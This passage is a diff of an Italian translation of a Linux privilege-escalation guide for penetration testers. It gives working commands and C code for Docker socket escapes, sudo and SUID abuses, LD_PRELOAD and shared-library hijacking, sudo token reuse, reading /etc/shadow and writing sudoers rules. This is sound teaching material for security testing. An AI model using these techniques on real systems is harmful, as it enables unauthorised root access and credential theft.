processo. +- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **socket**/FIFO in ascolto siano **chiusi** e rimossi, rispettivamente. +- `Service`: Specifica il nome dell'unità di **service** **da attivare** su **traffico in arrivo**. Questa impostazione è consentita solo per socket con Accept=no. Per default punta al service che ha lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non è necessario usare questa opzione. -### File .socket scrivibili +### Writable .socket files -Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket venga creato. Pertanto, **probabilmente dovrai aspettare fino a quando la macchina non verrà riavviata.**\ -_Tieni presente che il sistema deve utilizzare quella configurazione del file socket o la backdoor non verrà eseguita_ +Se trovi un file `.socket` **scrivibile** puoi **aggiungere**, all'inizio della sezione `[Socket]`, qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket venga creato. Di conseguenza, **probabilmente dovrai aspettare che la macchina venga riavviata.**\ +_Note che il sistema deve utilizzare quella configurazione del file socket o la backdoor non verrà eseguita_ -### Sockets scrivibili +### Writable sockets -Se **identifichi un socket scrivibile** (_ora stiamo parlando di Unix Sockets e non dei file di configurazione `.socket`_), allora **puoi comunicare** con quel socket e forse sfruttare una vulnerabilità. +Se **identifichi un socket scrivibile** (_ora stiamo parlando dei Unix Sockets e non dei file di configurazione `.socket`_), allora **puoi comunicare** con quel socket e magari sfruttare una vulnerabilità. -### Enumerare i Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -### Connessione grezza +### Connessione raw ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -475,39 +475,39 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Esempio di sfruttamento:** +**Esempio di exploitation:** {{#ref}} socket-command-injection.md {{#endref}} -### Sockets HTTP +### HTTP sockets -Nota che potrebbero esserci alcuni **sockets in ascolto per richieste HTTP** (_Non sto parlando di file .socket ma dei file che fungono da sockets unix_). Puoi verificare questo con: +Nota che potrebbero esserci dei sockets in ascolto di richieste HTTP (_non mi riferisco ai file .socket ma ai file che fungono da unix sockets_). Puoi verificarlo con: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se il socket **risponde con una richiesta HTTP**, allora puoi **comunicare** con esso e forse **sfruttare qualche vulnerabilità**. +Se il socket **risponde a una richiesta HTTP**, allora puoi **comunicare** con esso e magari **exploit qualche vulnerabilità**. -### Socket Docker Scrivibile +### Docker Socket scrivibile -Il socket Docker, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere l'accesso in scrittura a questo socket può portare a un'escalation dei privilegi. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile. +Il Docker socket, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere accesso in scrittura a questo socket può portare a privilege escalation. Ecco una panoramica di come questo può essere fatto e metodi alternativi se il Docker CLI non è disponibile. -#### **Escalation dei Privilegi con Docker CLI** +#### **Privilege Escalation con Docker CLI** -Se hai accesso in scrittura al socket Docker, puoi elevare i privilegi utilizzando i seguenti comandi: +Se hai accesso in scrittura al Docker socket, puoi escalate privileges usando i seguenti comandi: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Questi comandi ti consentono di eseguire un container con accesso a livello root al file system dell'host. +Questi comandi permettono di eseguire un container con accesso di livello root al file system dell'host. -#### **Utilizzando direttamente l'API Docker** +#### **Uso diretto dell'API Docker** -Nei casi in cui il Docker CLI non sia disponibile, il socket Docker può comunque essere manipolato utilizzando l'API Docker e i comandi `curl`. +In casi in cui la Docker CLI non è disponibile, il Docker socket può comunque essere manipolato usando la Docker API e comandi `curl`. -1. **Elenca le immagini Docker:** Recupera l'elenco delle immagini disponibili. +1. **Elenca le immagini Docker:** Recupera la lista delle immagini disponibili. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json @@ -525,7 +525,7 @@ Avvia il container appena creato: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Collegati al container:** Usa `socat` per stabilire una connessione al container, abilitando l'esecuzione di comandi al suo interno. +3. **Collegarsi al container:** Usa `socat` per stabilire una connessione al container, permettendo l'esecuzione di comandi al suo interno. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -535,31 +535,31 @@ Connection: Upgrade Upgrade: tcp ``` -Dopo aver impostato la connessione `socat`, puoi eseguire comandi direttamente nel container con accesso a livello root al file system dell'host. +Dopo aver stabilito la connessione con `socat`, puoi eseguire comandi direttamente nel container con accesso di livello root al file system dell'host. ### Altri -Nota che se hai permessi di scrittura sul socket docker perché sei **all'interno del gruppo `docker`** hai [**più modi per elevare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se l' [**API docker sta ascoltando su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Nota che se hai permessi di scrittura sul docker socket perché sei **nel gruppo `docker`** hai [**altre modalità per escalare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se la [**docker API è in ascolto su una porta** puoi anche riuscire a comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Controlla **altri modi per uscire da docker o abusarne per elevare i privilegi** in: +Consulta **altre modalità per evadere da docker o abusarne per escalare i privilegi** in: {{#ref}} docker-security/ {{#endref}} -## Elevazione dei privilegi di Containerd (ctr) +## Escalation dei privilegi con Containerd (ctr) -Se scopri di poter utilizzare il comando **`ctr`** leggi la pagina seguente poiché **potresti essere in grado di abusarne per elevare i privilegi**: +Se trovi di poter usare il comando **`ctr`**, leggi la pagina seguente poiché **potresti riuscire ad abusarne per escalare i privilegi**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **Elevazione dei privilegi di RunC** +## Escalation dei privilegi con **RunC** -Se scopri di poter utilizzare il comando **`runc`** leggi la pagina seguente poiché **potresti essere in grado di abusarne per elevare i privilegi**: +Se trovi di poter usare il comando **`runc`**, leggi la pagina seguente poiché **potresti riuscire ad abusarne per escalare i privilegi**: {{#ref}} @@ -568,15 +568,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus è un sofisticato **sistema di comunicazione inter-processo (IPC)** che consente alle applicazioni di interagire e condividere dati in modo efficiente. Progettato tenendo presente il moderno sistema Linux, offre un robusto framework per diverse forme di comunicazione tra applicazioni. +D-Bus è un sofisticato sistema di **inter-Process Communication (IPC)** che permette alle applicazioni di interagire efficacemente e condividere dati. Progettato per i moderni sistemi Linux, offre un framework robusto per varie forme di comunicazione tra applicazioni. -Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, simile a **socket di dominio UNIX avanzati**. Inoltre, aiuta a trasmettere eventi o segnali, favorendo un'integrazione fluida tra i componenti del sistema. Ad esempio, un segnale da un demone Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza dell'utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodo tra le applicazioni, snellendo processi che erano tradizionalmente complessi. +Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, ricordando gli **enhanced UNIX domain sockets**. Inoltre, facilita la trasmissione di eventi o segnali, favorendo un'integrazione fluida tra i componenti di sistema. Per esempio, un segnale da un daemon Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando richieste di servizio e invocazioni di metodi tra applicazioni, razionalizzando processi che prima erano complessi. -D-Bus opera su un **modello di autorizzazione/negazione**, gestendo i permessi dei messaggi (chiamate di metodo, emissioni di segnali, ecc.) in base all'effetto cumulativo delle regole di policy corrispondenti. Queste politiche specificano le interazioni con il bus, consentendo potenzialmente l'elevazione dei privilegi attraverso lo sfruttamento di questi permessi. +D-Bus opera su un modello di **allow/deny**, gestendo i permessi dei messaggi (chiamate di metodo, emissione di segnali, ecc.) in base all'effetto cumulativo delle regole di policy applicabili. Queste policy specificano le interazioni con il bus, potenzialmente permettendo un'escalation di privilegi attraverso lo sfruttamento di tali permessi. -Un esempio di tale politica in `/etc/dbus-1/system.d/wpa_supplicant.conf` è fornito, dettagliando i permessi per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`. +Viene fornito un esempio di tale policy in `/etc/dbus-1/system.d/wpa_supplicant.conf`, che dettaglia i permessi per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`. -Le politiche senza un utente o gruppo specificato si applicano universalmente, mentre le politiche di contesto "predefinite" si applicano a tutti non coperti da altre politiche specifiche. +Le policy senza un utente o gruppo specificato si applicano universalmente, mentre le policy con contesto "default" si applicano a tutti quelli non coperti da altre policy specifiche. ```xml @@ -585,7 +585,8 @@ Le politiche senza un utente o gruppo specificato si applicano universalmente, m ``` -**Impara come enumerare e sfruttare una comunicazione D-Bus qui:** +**Scopri come enumerare e sfruttare una comunicazione D-Bus qui:** + {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -593,7 +594,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Rete** -È sempre interessante enumerare la rete e capire la posizione della macchina. +È sempre interessante enumerare la rete e determinare la posizione della macchina. ### Enumerazione generica ```bash @@ -618,16 +619,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Porte aperte +### Open ports -Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei stato in grado di interagire prima di accedervi: +Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei riuscito a interagire prima di accedervi: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Controlla se puoi sniffare il traffico. Se puoi, potresti essere in grado di acquisire alcune credenziali. +Controlla se puoi sniff traffic. Se puoi, potresti essere in grado di ottenere alcune credentials. ``` timeout 1 tcpdump ``` @@ -635,7 +636,7 @@ timeout 1 tcpdump ### Enumerazione Generica -Controlla **chi** sei, quali **privilegi** hai, quali **utenti** sono nei sistemi, quali possono **accedere** e quali hanno **privilegi di root:** +Verifica **chi** sei, quali **privilegi** hai, quali **utenti** sono nei sistemi, quali possono effettuare il **login** e quali hanno **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -659,21 +660,21 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Alcune versioni di Linux sono state colpite da un bug che consente agli utenti con **UID > INT_MAX** di elevare i privilegi. Maggiori informazioni: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) e [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Alcune versioni di Linux sono state colpite da un bug che consente agli utenti con **UID > INT_MAX** di elevare i privilegi. Maggiori info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Sfruttalo** usando: **`systemd-run -t /bin/bash`** -### Groups +### Gruppi -Controlla se sei un **membro di qualche gruppo** che potrebbe concederti privilegi di root: +Verifica se sei **membro di qualche gruppo** che potrebbe concederti privilegi di root: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### Appunti -Controlla se c'è qualcosa di interessante all'interno degli appunti (se possibile) +Controlla se c'è qualcosa di interessante negli appunti (se possibile) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -684,33 +685,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Politica delle Password +### Politica delle password ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Known passwords +### Password conosciute -Se **conosci qualche password** dell'ambiente **cerca di accedere come ogni utente** utilizzando la password. +Se conosci **qualche password** dell'ambiente **prova a effettuare il login come ogni utente** usando la password. ### Su Brute -Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a forzare l'accesso agli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a forzare l'accesso agli utenti. +Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sulla macchina, puoi provare a eseguire un brute-force sugli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anch'esso a fare brute-force sugli utenti. -## Writable PATH abuses +## Abusi del $PATH scrivibile ### $PATH -Se scopri che puoi **scrivere all'interno di qualche cartella del $PATH** potresti essere in grado di elevare i privilegi **creando una backdoor all'interno della cartella scrivibile** con il nome di qualche comando che verrà eseguito da un altro utente (idealmente root) e che **non è caricato da una cartella che si trova prima** della tua cartella scrivibile in $PATH. +Se scopri di poter **scrivere in qualche cartella del $PATH** potresti essere in grado di elevare i privilegi creando una **backdoor nella cartella scrivibile** con il nome di un comando che verrà eseguito da un altro utente (idealmente root) e che **non venga caricato da una cartella che si trovi prima** della tua cartella scrivibile nel $PATH. -### SUDO e SUID +### SUDO and SUID -Potresti essere autorizzato a eseguire qualche comando usando sudo o potrebbero avere il bit suid. Controllalo usando: +Potresti essere autorizzato a eseguire alcuni comandi usando sudo o potrebbero avere il bit suid. Verificalo usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Alcuni **comandi inaspettati ti consentono di leggere e/o scrivere file o persino eseguire un comando.** Ad esempio: +Alcuni **comandi inaspettati permettono di leggere e/o scrivere file o addirittura eseguire un comando.** Ad esempio: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -721,31 +722,31 @@ less>! ``` ### NOPASSWD -La configurazione di Sudo potrebbe consentire a un utente di eseguire alcuni comandi con i privilegi di un altro utente senza conoscere la password. +La configurazione di sudo potrebbe permettere a un utente di eseguire un comando con i privilegi di un altro utente senza conoscere la password. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In questo esempio, l'utente `demo` può eseguire `vim` come `root`, ora è banale ottenere una shell aggiungendo una chiave ssh nella directory root o chiamando `sh`. +In questo esempio l'utente `demo` può eseguire `vim` come `root`, è quindi banale ottenere una shell aggiungendo una ssh key nella directory root o eseguendo `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Questa direttiva consente all'utente di **impostare una variabile di ambiente** durante l'esecuzione di qualcosa: +Questa direttiva permette all'utente di **set an environment variable** mentre esegue qualcosa: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** all'**hijacking di PYTHONPATH** per caricare una libreria python arbitraria mentre si eseguiva lo script come root: +Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** a **PYTHONPATH hijacking** per caricare una libreria python arbitraria mentre il script veniva eseguito come root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo execution bypassing paths +### Percorsi che aggirano l'esecuzione di sudo -**Salta** per leggere altri file o usa **symlinks**. Ad esempio nel file sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Vai** per leggere altri file o usa **symlinks**. Ad esempio, nel file sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -755,46 +756,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Se viene utilizzato un **wildcard** (\*), è ancora più facile: +Se viene usato un **wildcard** (\*), è ancora più semplice: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contromisure**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Comando Sudo/Binary SUID senza percorso del comando +### Sudo command/SUID binary without command path -Se il **permesso sudo** è dato a un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo cambiando la variabile PATH +Se la **sudo permission** è concessa per un singolo comando **without specifying the path**: _hacker10 ALL= (root) less_ puoi sfruttarla cambiando la variabile PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Questa tecnica può essere utilizzata anche se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un strano SUID binary)**. +Questa tecnica può anche essere usata se un binario **suid** **esegue un altro comando senza specificarne il percorso (controlla sempre con** _**strings**_ **il contenuto di un SUID binario sospetto)**. [Payload examples to execute.](payloads-to-execute.md) ### SUID binary con percorso del comando -Se il **suid** binary **esegue un altro comando specificando il percorso**, allora puoi provare a **esportare una funzione** chiamata come il comando che il file suid sta chiamando. +Se il binario **suid** **esegue un altro comando specificando il percorso**, allora puoi provare a **export a function** chiamata come il comando che il file suid sta invocando. -Ad esempio, se un suid binary chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione ed esportarla: +Per esempio, se un binario suid chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione ed esportarla: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Poi, quando chiami il binario suid, questa funzione verrà eseguita +Quindi, quando invoci il binario suid, verrà eseguita questa funzione ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variabile di ambiente **LD_PRELOAD** viene utilizzata per specificare una o più librerie condivise (.so files) da caricare dal loader prima di tutte le altre, inclusa la libreria C standard (`libc.so`). Questo processo è noto come preloading di una libreria. +La variabile d'ambiente **LD_PRELOAD** viene utilizzata per specificare una o più librerie condivise (.so) da caricare tramite il loader prima di tutte le altre, inclusa la libreria C standard (`libc.so`). Questo processo è noto come preloading di una libreria. -Tuttavia, per mantenere la sicurezza del sistema e prevenire che questa funzionalità venga sfruttata, in particolare con eseguibili **suid/sgid**, il sistema impone determinate condizioni: +Tuttavia, per mantenere la sicurezza del sistema e prevenire che questa funzionalità venga sfruttata, in particolare con eseguibili **suid/sgid**, il sistema applica determinate condizioni: -- Il loader ignora **LD_PRELOAD** per eseguibili in cui l'ID utente reale (_ruid_) non corrisponde all'ID utente efficace (_euid_). -- Per eseguibili con suid/sgid, solo le librerie nei percorsi standard che sono anche suid/sgid vengono preloaded. +- Il loader ignora **LD_PRELOAD** per gli eseguibili in cui l'ID utente reale (_ruid_) non corrisponde all'ID utente effettivo (_euid_). +- Per gli eseguibili con suid/sgid, vengono precaricate solo le librerie presenti in percorsi standard che siano anch'esse suid/sgid. -L'escalation dei privilegi può verificarsi se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include l'affermazione **env_keep+=LD_PRELOAD**. Questa configurazione consente alla variabile di ambiente **LD_PRELOAD** di persistere e di essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, portando potenzialmente all'esecuzione di codice arbitrario con privilegi elevati. +L'escalation dei privilegi può avvenire se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include la dichiarazione **env_keep+=LD_PRELOAD**. Questa configurazione permette alla variabile d'ambiente **LD_PRELOAD** di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati. ``` Defaults env_keep += LD_PRELOAD ``` @@ -811,17 +812,17 @@ setuid(0); system("/bin/bash"); } ``` -Poi **compilalo** usando: +Quindi **compilalo** usando: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Infine, **escalare i privilegi** eseguendo +Infine, **escalate privileges** in esecuzione ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Un privesc simile può essere abusato se l'attaccante controlla la variabile di ambiente **LD_LIBRARY_PATH** perché controlla il percorso in cui verranno cercate le librerie. +> Un privesc simile può essere abusato se l'attacker controlla la **LD_LIBRARY_PATH** env variable, perché controlla il percorso in cui verranno cercate le librerie. ```c #include #include @@ -843,13 +844,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Quando si incontra un binario con permessi **SUID** che sembra insolito, è buona pratica verificare se sta caricando correttamente i file **.so**. Questo può essere controllato eseguendo il seguente comando: +Quando ci si imbatte in un binary con permessi **SUID** che sembra insolito, è buona pratica verificare se sta caricando correttamente i file **.so**. Questo può essere verificato eseguendo il seguente comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Nessun file o directory)"_ suggerisce un potenziale per l'exploitation. +Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggerisce un potenziale per exploitation. -Per sfruttare questo, si procederebbe creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice: +Per effettuare l'exploit, si procederebbe creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice: ```c #include #include @@ -860,15 +861,15 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Questo codice, una volta compilato ed eseguito, mira ad elevare i privilegi manipolando i permessi dei file ed eseguendo una shell con privilegi elevati. +Questo codice, una volta compilato ed eseguito, mira a elevare i privilegi manipolando i permessi dei file ed eseguendo una shell con privilegi elevati. -Compila il file C sopra in un file oggetto condiviso (.so) con: +Compila il file C di cui sopra in un shared object (.so) con: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Infine, l'esecuzione del binario SUID interessato dovrebbe attivare l'exploit, consentendo un potenziale compromesso del sistema. +Infine, l'esecuzione del binario SUID interessato dovrebbe attivare l'exploit, permettendo una potenziale compromissione del sistema. -## Hijacking di Oggetti Condivisi +## Shared Object Hijacking ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -878,7 +879,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Ora che abbiamo trovato un binario SUID che carica una libreria da una cartella in cui possiamo scrivere, creiamo la libreria in quella cartella con il nome necessario: +Ora che abbiamo trovato un SUID binary che carica una library da una cartella in cui possiamo scrivere, creiamo la library in quella cartella con il nome necessario: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -895,13 +896,13 @@ Se ricevi un errore come ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -significa che la libreria che hai generato deve avere una funzione chiamata `a_function_name`. +ciò significa che la libreria che hai generato deve avere una funzione chiamata `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) è un elenco curato di binari Unix che possono essere sfruttati da un attaccante per bypassare le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **solo iniettare argomenti** in un comando. +[**GTFOBins**](https://gtfobins.github.io) è una lista curata di binari Unix che possono essere sfruttati da un attaccante per bypassare restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **solo iniettare argomenti** in un comando. -Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusate per uscire da shell ristrette, elevare o mantenere privilegi elevati, trasferire file, generare shell bind e reverse, e facilitare altre attività post-exploitation. +Il progetto raccoglie funzioni legittime dei binari Unix che possono essere abusate per uscire da shell ristrette, scalare o mantenere privilegi elevati, trasferire file, generare bind e reverse shell, e facilitare altre attività di post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -920,50 +921,50 @@ https://gtfoargs.github.io/ ### FallOfSudo -Se puoi accedere a `sudo -l` puoi usare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per controllare se trova come sfruttare qualsiasi regola sudo. +Se puoi eseguire `sudo -l` puoi usare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per verificare se individua un modo per sfruttare qualsiasi regola sudo. -### Riutilizzo dei Token Sudo +### Riutilizzo dei token sudo -Nei casi in cui hai **accesso sudo** ma non la password, puoi elevare i privilegi **aspettando l'esecuzione di un comando sudo e poi dirottando il token di sessione**. +Nei casi in cui hai **accesso sudo** ma non la password, puoi scalare i privilegi aspettando l'esecuzione di un comando sudo e poi dirottando il token di sessione. -Requisiti per elevare i privilegi: +Requisiti per scalare i privilegi: - Hai già una shell come utente "_sampleuser_" -- "_sampleuser_" ha **usato `sudo`** per eseguire qualcosa negli **ultimi 15 minuti** (per impostazione predefinita è la durata del token sudo che ci consente di usare `sudo` senza inserire alcuna password) +- "_sampleuser_" ha **usato `sudo`** per eseguire qualcosa negli **ultimi 15 minuti** (per default quella è la durata del token sudo che ci permette di usare `sudo` senza inserire alcuna password) - `cat /proc/sys/kernel/yama/ptrace_scope` è 0 -- `gdb` è accessibile (puoi essere in grado di caricarlo) +- `gdb` è accessibile (puoi caricarlo) -(Puoi abilitare temporaneamente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o modificarlo permanentemente in `/etc/sysctl.d/10-ptrace.conf` impostando `kernel.yama.ptrace_scope = 0`) +(Puoi abilitare temporaneamente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e impostando `kernel.yama.ptrace_scope = 0`) -Se tutti questi requisiti sono soddisfatti, **puoi elevare i privilegi usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Se tutti questi requisiti sono soddisfatti, **puoi scalare i privilegi usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Il **primo exploit** (`exploit.sh`) creerà il binario `activate_sudo_token` in _/tmp_. Puoi usarlo per **attivare il token sudo nella tua sessione** (non otterrai automaticamente una shell root, fai `sudo su`): +- Il **primo exploit** (`exploit.sh`) creerà il binario `activate_sudo_token` in _/tmp_. Puoi usarlo per **attivare il token sudo nella tua sessione** (non otterrai automaticamente una shell root, esegui `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **possessa da root con setuid** +- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **owned by root with setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Il **terzo exploit** (`exploit_v3.sh`) creerà un file sudoers che rende **eterni i token sudo e consente a tutti gli utenti di utilizzare sudo** +- Il **terzo exploit** (`exploit_v3.sh`) creerà un **sudoers file** che rende i **sudo tokens** eterni e permette a tutti gli utenti di usare sudo ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se hai **permessi di scrittura** nella cartella o su uno dei file creati all'interno della cartella, puoi utilizzare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un token sudo per un utente e PID**.\ -Ad esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere privilegi sudo** senza bisogno di conoscere la password eseguendo: +Se hai i **permessi di scrittura** nella cartella o su uno qualsiasi dei file creati all'interno della cartella, puoi usare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un sudo token per un utente e un PID**.\ +Per esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere privilegi sudo** senza dover conoscere la password eseguendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Il file `/etc/sudoers` e i file all'interno di `/etc/sudoers.d` configurano chi può usare `sudo` e come. Questi file **di default possono essere letti solo dall'utente root e dal gruppo root**.\ -**Se** puoi **leggere** questo file potresti essere in grado di **ottenere alcune informazioni interessanti**, e se puoi **scrivere** qualsiasi file sarai in grado di **escalare i privilegi**. +Il file `/etc/sudoers` e i file contenuti in `/etc/sudoers.d` configurano chi può usare `sudo` e come. Questi file **per impostazione predefinita possono essere letti solo dall'utente root e dal gruppo root**.\ +**Se** puoi **leggere** questo file potresti essere in grado di **ottenere informazioni interessanti**, e se puoi **scrivere** qualsiasi file sarai in grado di **escalare i privilegi**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -973,7 +974,7 @@ Se puoi scrivere, puoi abusare di questo permesso. echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> 